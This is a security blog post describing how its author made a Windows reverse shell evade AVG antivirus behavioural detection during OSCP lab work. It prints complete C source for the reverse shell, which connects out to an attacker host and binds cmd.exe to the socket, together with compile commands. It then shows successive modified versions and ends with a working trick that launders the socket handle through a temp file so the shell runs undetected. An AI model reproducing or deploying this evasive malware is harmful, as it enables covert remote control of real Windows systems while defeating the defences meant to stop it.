Skip to content

Black Wolf Security

Case Study in Evading AVG Antivirus

While working in the OSCP labs, I had lots of fun installing backdoor processes on various systems. Antivirus software is, for the most part, not installed on these systems with the exception of a few. Of those systems, the AV software tends to be pretty weak/old. The OSCP training material did briefly cover some antivirus evasion techniques which, while working in the lab environment, I found to be of little use in real world situations on Windows machines with modern antivirus software. Here is a brief summary of problems I found:

Of course I've heard of the Veil antivirus evasion framework, but this wasn't really covered in the OSCP program. I've heard it's an awesome framework and I really need to make the time to learn it. In the meantime, one of the big takeaways in the OSCP training program with regard to AV evasion was that the best thing you can do is write your own malware executables. If it hasn't been seen in the wild, then AV isn't going to flag it, right? So I used an example given by Offensive Security and put this theory to the test. In short, the current answer to the previous question is... no, not exactly. I quickly found out that detection based on static analysis techniques might be avoided this way, but some software has some pretty impressive behavioural analysis. This post is about how I addressed these issues and successfully transformed a piece of generic malware that would get flagged by AV based on behavioural analysis into something that wouldn't be detected.

Development Environment Setup

To perform this testing, I used the following:

To install the ming compiler on Kali, all that is needed is to:

 
apt-get -y install mingw-w64
 

The Problem

Ok, first it is useful to understand the problem. We begin with the following source code, which was apparently written in 2012:

/* Windows Reverse Shell
Tested under windows 7 with AVG Free Edition.
Author: blkhtc0rp
Compile: wine gcc.exe windows.c -o windows.exe -lws2_32
Written 2010 - Modified 2012
This program is open source you can copy and modify, but please keep author credits!
http://code.google.com/p/blkht-progs/
https://snipt.net/blkhtc0rp/
*/
 
#include <winsock2.h>
#include <stdio.h>
 
#pragma comment(lib,"ws2_32")
 
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
 
int main(int argc, char *argv[])
{
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); }
    struct hostent *host;
    host = gethostbyname(argv[1]);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
 
    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(argv[2]));
    hax.sin_addr.s_addr = inet_addr(ip_addr);
 
    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
 
    memset(&ini_processo,0,sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
}

The above reverse shell program can be compiled on the Kali system with the following:

 
i686-w64-mingw32-gcc windows.c -lws2_32 -o windows.exe
i686-w64-mingw32-strip windows.exe
 

Ok, once this compiles successfully, let's give it a try on the Windows system. Here, I have a read only SMB share on the Kali box (so the AV doesn't delete my executable). While running it, I get the following:

Oh no! What happened? Is this because this program is known malware and it got flagged? Is it because of this line of code:

CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);

I initially thought that since we were calling CreateProcess with cmd.exe, it was being flagged. That turned out to not be the case! After a considerable amount of troubleshooting, I discovered that the AVG engine seemed to be analyzing the execution flow of the program for specific behaviours and connecting a series of events which, when combined together seemed to indicate malicious activity. To understand this, let's examine what is going on in this program:

It is this specific sequence of events that causes the AVG engine to say "Aha, suspicious! Must be malware!" This is perfectly reasonable and makes sense when you think about it. There are probably some legitimate use cases for this type of behaviour, but I'm willing to bet that most of them are for nefarious purposes. So how do we get around this problem? Well, we have to break the chain of events, but it still has to work.

After some trial and error, I was able to figure this out. First, I found out that AVG somehow is clever enough to follow the value returned by WSASocket, see that it was connected using WSAConnect and then passed to the STARTUPINFO struct. Let's analyze this by making a simple code change:

#include <winsock2.h>
#include <stdio.h>
 
#pragma comment(lib,"ws2_32")
 
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
 
int main(int argc, char *argv[])
{
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    printf("Socket value=%ld\n", (unsigned long)Winsock);
    if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); }
    struct hostent *host;
    host = gethostbyname(argv[1]);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
 
    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(argv[2]));
    hax.sin_addr.s_addr = inet_addr(ip_addr);
 
    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
 
    memset(&ini_processo,0,sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    //CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
}

What we are doing here is seeing the value (as an unsigned long) that WSASocket is returning. This is the value eventually passed to the initialization struct. Additionally, it is necessary to comment out the CreateProcess line so that AVG won't kill the process just yet. Now when I ran the program on the Windows VM repeatedly, this is the result I got:

Notice that every time I run this, WSASocket returns a value of 224. This is not to say that the value 224 will always be returned on your system or anyone else's but in my case, it seems fairly consistent. As an experiment, I am now going to feed the static value of 224 to the initialization structure, betting that it will continue to be the value of the handle assigned by the call to WSASocket. If the program now runs without being flagged by AVG, I have now been able to prove that AVG is watching for the specific chain of events mentioned above. So I change the code to look like this:

#include <winsock2.h>
#include <stdio.h>
 
#pragma comment(lib,"ws2_32")
 
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
 
int main(int argc, char *argv[])
{
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    printf("Socket value=%ld\n", (unsigned long)Winsock);
    if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); }
    struct hostent *host;
    host = gethostbyname(argv[1]);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
 
    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(argv[2]));
    hax.sin_addr.s_addr = inet_addr(ip_addr);
 
    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
 
    memset(&ini_processo,0,sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    //ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)224;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
}

Now when I compile and run the above executable, it does not get flagged by AVG at all. In fact, my netcat listener on the attack system does in fact receive the connection, proving that the reverse shell is now working!

The Solution

We have a working shell as you can see in the previous section but unfortunately this is not the solution to the original problem. We simply can't hard code the static value of 224 into the initialization struct because this can vary from system to system. It only serves to illustrate that it breaks the chain of what the AVG engine is looking at. This is because we are not assigning the socket handle to a variable and then passing that variable to the initialization structure.

At first glance it might appear easy to address this issue. I thought so as well. I began to come up with lots of creative ways of providing some sort of disconnect between the original assignment of the value and what was ultimately passed to the initialization structure. This was a frustrating endeavor, but I walked away with a new appreciation for the sophistication of the AVG engine. I won't go through code-level examples of every scenario, otherwise this would be an incredibly long blog post, but I can summarize some of the things I tried here:

Assigning the handle to a variable, then copying to another variable and then passing to the initialization struct. FAIL!
Performing lots of random, crazy math and bitwise operations to the handle, assigning it to another variable and then performing inverse functions of the bitwise operations (e.g. xor and bit rotate), plus math that was designed to ultimately negate all operations done to the original value. FAIL!
Passing the value to functions that call other functions and do some of the above mentioned obfuscation/decoding. FAIL!
Using sprintf to write the string representation of the unsigned long value to a string buffer and then using sscanf or strtol to convert it back. FAIL!
Writing the string value of the handle to a file, closing the file, reopening the file and reading it back. FAIL!

Now what I've listed above is merely a summary of what was done. I'm sure I forgot about a few things along the way. It was frustrating, I don't know exactly how they make all these connections between the input and output values but they did. It was a long night, but I was also in the process of working on my OSCP. That means I wasn't going to get beaten by this thing, no matter how many times I failed, I was going to TRY HARDER!

My perseverence finally paid off. After the final thing I remember trying (writing value to file and reading back), I thought about it a different way. What if, instead of writing it to a file, I made a system call and echoed the value into a file? Maybe the AVG engine wouldn't pick up on that since program execution would be transferred to the shell process that was being spawned. So now I modified the code to look like this:

#include <winsock2.h>
#include <stdio.h>
 
#pragma comment(lib,"ws2_32")
 
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
 
int main(int argc, char *argv[])
{
    FILE *file;
    char buf[100];
    unsigned int handle;
 
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
    if (argc != 3) { fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1); }
    struct hostent *host;
    host = gethostbyname(argv[1]);
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
 
    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi(argv[2]));
    hax.sin_addr.s_addr = inet_addr(ip_addr);
 
    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
 
    // execute shell command that will place value in temp file
    snprintf(buf, 100, "echo %d > c:\\windows\\temp\\tempval.tmp", (unsigned int)Winsock);
    system(buf);
 
    // now read it back
    file=fopen("c:\\windows\\temp\\tempval.tmp","r");
 
    if (file) {
        fscanf(file, "%d", &handle);
        fclose(file);
    } else {
        printf("Failed to open temp file: %s\n", strerror(errno));
        exit(1);
    } 
 
    // delete temp file 
    unlink("c:\\windows\\temp\\tempval.tmp");
 
    memset(&ini_processo,0,sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)handle;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info);
}

After compiling and running this version of the executable, it finally worked without triggering the AVG!

Conclusion

Any decent antivirus engine that uses behavioural analysis can introduce challenges when it comes to writing custom malware. However, keep in mind that even the best of such software can be defeated if you are creative enough. I found that, at least in this case, it was very useful to start with a simple and small code sample. Then begin eliminating things one at a time until the antivirus software no longer flags the binary as malware. Once this is done, try to identify a chain of events that it might be tracking and experiment with ways to trick the software into not recognizing one of the actions that is part of the suspicious chain of events it is looking for. This may require some analysis, trial and error and certainly a lot of creativity, but it can be done!